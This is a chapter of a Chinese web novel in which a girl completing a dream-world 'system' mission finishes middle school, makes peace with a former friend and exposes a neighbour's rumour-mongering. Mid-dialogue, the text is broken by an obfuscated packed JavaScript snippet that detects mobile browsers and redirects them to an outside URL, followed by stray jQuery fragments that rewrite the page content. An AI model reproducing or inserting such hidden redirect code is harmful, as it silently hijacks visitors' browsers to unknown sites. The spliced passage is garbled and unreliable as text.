36.悸动(十六)
作品:《杀穿无限流》 第二日汪可欣早早坐在位置上等候。
琴幽脚步还未踏进门槛,就看到了他,脚步顿了顿,又装作无事,将练习册放到桌上。
汪可欣见她正要出去,即刻道:“我不生气了。”
琴幽放下水杯,贴近看向他:“真的?”
汪可欣点头回道:“真的。”
“怎会突然想通?”
汪可欣正襟危坐道:“因为我厉害。”
“哈哈哈哈!”琴幽差点没给眼泪笑出来,“好好好,你厉害,确实厉害!在下佩服!”
误会解除,父母这边也同意自己继续上学,母亲如期去外地打工。
妹妹初期总是半夜哭泣,琴幽不厌其烦地上前为她擦去眼泪。
她哭地颤颤巍巍:“姐姐,你说妈妈会不会不回来了?”
琴幽轻轻抚摸着她的头发,安慰道:“怎么会呢,过年一定会回来的。”
“其他时间就不能回来吗?”
琴幽拉着她的手道:“妈妈要挣钱供我们上学,其他时间可能都要工作,我们有手机可以跟妈妈打电话打视频。”
话虽是这样说的,但当年自己整整一年都未能适应。
足足一个学期的时间过完,妹妹才不再晚上偷偷哭泣,眼看着中考的时间越来越近,班级里的学习氛围远胜往日的浓。
馨枫因为上次给老师带路,导致与宋文淇的关系不复从前,即使这样,她还是多番尝试拉近与宋文淇之间的关系。不想关系中断是真,想借着学霸给自己补习更是真,宋文淇早就看透了她这个人的真面目,好人做不好,坏人坏不透,因为嫉妒害琴幽,又因为愧疚背刺自己。
自然稳坐钓鱼台,迟迟不伸手。
整整一个月僵持不下,馨枫斗胆写下一封信,让人代传琴幽。
琴幽正与人讲着题,就被人告知有人传信,还没来得及问是谁传来,东西已经到了自己桌上。
围在一块听题的有好几位同学,琴幽不好驳了大家脸面,只得暂时不管信件,继续讲题,待人都散去后才打开看。
刚看一句,就已猜到是谁。这么长时间了都没想过低头认错,找自己和好,快中考了倒是直接装都不装了,琴幽一目十行的看完整张信,瞥都懒得瞥落款人的名字。
可惜可惜,生前死都没等到的道歉,就因为自己现在成绩好等到了,一切显得何其可笑。
馨枫从送出信开始,目光一直不曾离开琴幽,她的一举一动时刻都在牵动着她的情绪,看到琴幽随便看了几眼,就坐下把信丢进书桌抽屉,与汪可欣侃侃而谈,丝毫没有要回信的意思,顿时觉得可能自己真的是要凉了。
琴幽肘了一下汪可欣道:“唉!你说仇人该不该帮?”
汪可欣猜到那封信里的内容不简单,没有着急回答,而是反问她:“你想不想帮?”
“嘿~汪同学。是我在问你好不好。”
汪可欣笑了笑,又问了一遍:“你想不想?”
这个问题可真叫琴幽如鲠在喉,有苦难言,毕竟是仇人,毕竟先前那样构陷自己,但话又说回来她这回又确实帮了自己的忙,生前也是因为这个原因才又选择原谅她继续与她做朋友的,没想到又迎来了新一轮的背刺。
一时间琴幽也不知怎样决断。
汪可欣看她这么纠结,虽然不知道具体原因,但心里已然有数,淡声道:“那就帮!”
琴幽目光一炬道:“为何?”
汪可欣解释道:“从你因为帮不帮这个问题为难开始,就证明你其实内心是有帮这个欲望的,只不过被一些事给压制了。换个意思就是,如果你根本不想帮,那你完全不会为这个事情犹豫,焦虑。”
琴幽心中默默认同:“言之有理。”立刻提笔在纸上沙沙书写,一番折腾完,不停片刻就将信托人送与馨枫。
对汪可欣眨眼道:“谢了,可欣同学。”
这个称呼其实是汪可欣从初一开始就经常为外人道也的“外号”。说是外号,但其实估摸着也有概率是他的小名,这个称呼最开始还是汪可欣的男同桌取的,后来稍微关系近点的人都会这样称呼他,当然女生这样称呼他,他是真的会不高兴。
“……”琴幽说完才想到,自己这样叫不合适。解释的话还未说完“那个……”就被汪可欣打断道:“没事。”
“我下次注意……”琴幽尴尬的笑道。
“一个称呼,没什么大不了的,我并不在意。”
不在意!?不是这死对头什么时候变得这么大度了,生前,可是谁叫这个称呼他就会目光阴鸷的冷瞪一眼谁。不对劲,太不对劲了,这梦境里怎么还跟现实中不一样啊,是谁篡改了自己的梦。
心里默默唤出系统。
系统:【我在。】
琴幽神识问道:“这梦境会被人篡改吗?”
系统:【不会,除了梦境本人,任何人都无法篡改。当然您作为执行者,又是梦境本人,为了完成任务,是可以对梦境进行修改的。】
“好吧。”
馨枫看完回信,心中一阵天翻地转的欢喜,当即搬上板凳,前去问题。
“呃……”这才刚回了信就来了,动作也太快了吧,到底是有多急啊,属实给琴幽看呆了。
馨枫急切的问:“不方便吗?”
“方便。”随即琴幽接过馨枫递来的试卷。
琴幽讲的很细致,馨枫也听得格外入迷,因为她从来没有体会过如此生动有趣,既帮她回顾课本对应知识,又能再讲完每道题时,举一反三,因此真的解决了题干稍微变换就不会做的问题。
宋文淇看到馨枫竟然还有勇气跑去问琴幽题时,那股憎恶感瞬间涌上胸腔,气急之下阴阳了一句:“有些人啊就是墙头草,风往哪吹,她就往哪飘。”
馨枫自然明白,不过她理亏便没有还嘴。琴幽与汪可欣听到竟同时不约而同的浅浅一笑,随后全当耳旁风。
很快二模的成绩下来,馨枫一跃成为班级第六,琴幽,汪可欣继续稳坐第一第二,宋文淇也成了名副其实的千年老三。
看到昔日好友一路高歌猛进,成绩突然迎来质的飞跃,宋文淇心里自然不爽,但是不爽也没办法,大势所趋,她也没时间再密谋那些见不得人的勾当。实在看不惯,也只能阴阳几句。
所剩时间不多,馨枫已经对自己的成绩很满意了,后面着手去打稳基础,问题的次数一下子骤降许多。
空出来的时间,琴幽与汪可欣玩起了复习赛pk,一星期定一回输赢,对方找的题,或者抽查的课文知识点,没答上来就会扣一分,谁扣的少谁获胜。输的人要请一回零食。
日子虽平淡,也确实美好。不过在三模前夕还是发生了点小插曲,疫情期间在琴幽家买了两只鸡的男人老婆,突然跳出来说:“琴幽父母仗着疫情期间乱要价,一只鸡卖二百。”
起初没多少人在意,但随着母亲一直在外不回,村里某些男性长辈又传出了闲话,那一只鸡卖二百的谣言也就此放大。
父亲为了所谓的面子,即使那些人当着他的面乱讲话,他也会为了乡邻和睦,不撕破脸,只是装作一副给足了妻子信任的好男人模样。对于那卖高价的谣言还妄图通过解释,祈祷有人能为他正名。
琴幽果断拿起手机,联系母亲,谣言非空穴来风,不过也确实为造谣,与母亲共事的一男同事见一青年女子独自在外务工,刚开始是说她男人跑了,母亲丝毫不理睬,后面又变本加厉造谣母亲跟老板睡过。
母亲在电话里愤恨地骂道:“我哪能放过他,我打不过他,直接趁着下班的功夫,拿起包里放的菜刀,就向他砍去,那鳖孙跑得还怪快,要不是有其他同事拉架,我非砍死那人不可。”
琴幽心笑道:“果然母亲还是一如既往的狠。”随口吐出一句:“厉害。”
母亲骂完转而问家里情况:“家里现在可还好?”
琴幽:“好着呢,放心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359310|198902||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
“好就行,那我先挂了,明天还要早起去桥头等车。”
“嗯。”
届时门外正好又传来议论纷纷的造谣声,琴幽把手机放进口袋,不紧不慢的走出房门,远远的瞥见又是那女人,真是得来全不费工夫。
她正在人群中继续散播“二百一只鸡的谣言”,琴幽默默走上前,靠近道:“二百一只鸡,我怎么不知道,莫不是阿姨您记错了。”
女人立刻没好气道:“记错,什么记错,你父母干出来的事你还想抵赖,就是欺负我们这群孕妇,什么乡里乡亲,平日里说的怪好听,结果一只鸡卖我们二百也好意思!”
琴幽仍表情温和道:“既然阿姨非要这样说,请拿出证据。”
女人一口咬定:“要什么证据,我老公就是证人,当时就是他在你家买的。”说着就拨打电话,嗲嗲着声音道:“老公你快来,那家人的死妮子跑出来咬我。”
嫌聚集的人不够多,她又装模作样的大声吆喝,仿佛自己受了天大委屈。
琴幽就等着她使这招,还没十分钟,人员聚齐,妹妹父亲被堵在外围。
琴幽看到当晚买鸡的男子道:“叔叔,你确定我家的鸡一只两百是吧。”
男子反咬一口:“你自家卖的自己还不承认?”
说着琴幽就点开手机,当着众人的面播放那天晚上男子来买鸡时的视频,男子一见视频瞬间吓破了胆,一个箭步上去就要夺手机。琴幽早就料到,侧身一躲往人群里一钻,把视频声音开到最大,躲到哪就给哪里的人看。
不一会大伙都明白了所以然,就是造谣。男子见事情败露,猛地推倒好几人,琴幽继续躲窜,透到外围让妹妹报了警。
场面一度混乱,但待会会更混乱,那男子老婆眼看老公抓不住,也钻进人群抓她。
人没抓到,警车就“呜er呜er”的开了进来。
男子手上正拿着砖块,警察第一时间吼道:“不许动!”
在场的闲杂人等很快被疏散,主要人员留在现场,一番疏通,只是口头教育了下琴幽,便对那夫妻二人进行民事拘留。
从那开始,村里的风评又开始一边倒,那夫妻二人从局子里出来后犹如过街老鼠,整日门都不敢出。
风波平息,中考已然到来。
琴幽这回带了厚点的被子,考试的那几天不是吃就是睡,然后考试,什么复习不复习的早复习几百遍了,完全不需要。心平气和地坐在考场上,笔走如飞,比平时还要多检查一遍,然后趴在桌上睡觉,场场如此,一位女监考老师刚开始想去叫起她,但她的卷子早就答完了,满满当当,还挑不出错,就不再管,坐在后面玩起了小游戏。
坐大巴临走时,天上飘起了细密雨丝,把夏日的暑气吓退了不少。
这个暑假,琴幽继续重操旧业,但是应母亲要求,还是收拾行李去外地做手工,赚点外快。
约莫半个月中考成绩下来,六百五十八(满分七百),刚要问汪可欣的成绩,对方就发来六百二十七,达到当地实验中学应届生五百九的分数线。
汪婷那边也传来喜报,超常发挥,以五百九十一的成绩挂边同高中。
开学第一天,琴幽单肩挎包,在名单中看到一个熟悉的名字,扫了眼教室,未见其人,便没有着急进入教室,站在走廊围栏处,垂眸往下看。
汪可欣背着书包,身着白体恤,脚踩帆布板鞋,楼下远处就已看到她,二人目光对视,停滞片刻。
他飞快奔上楼梯,走到琴幽身后,鼓起勇气道:“琴幽!”
琴幽转身莞尔一笑:“汪同学,好久不见!”
微风袭来,从西廊穿东廊,扑面而来一股熟悉的气味,琴幽瞳孔微微一怔。
忽然耳边传来系统提示:【恭喜007号执行者琴幽完成《梦境》副本任务。自动退出模式已启动。】
一阵天旋地转,琴幽回到那个到处散发白光的空旷之地。

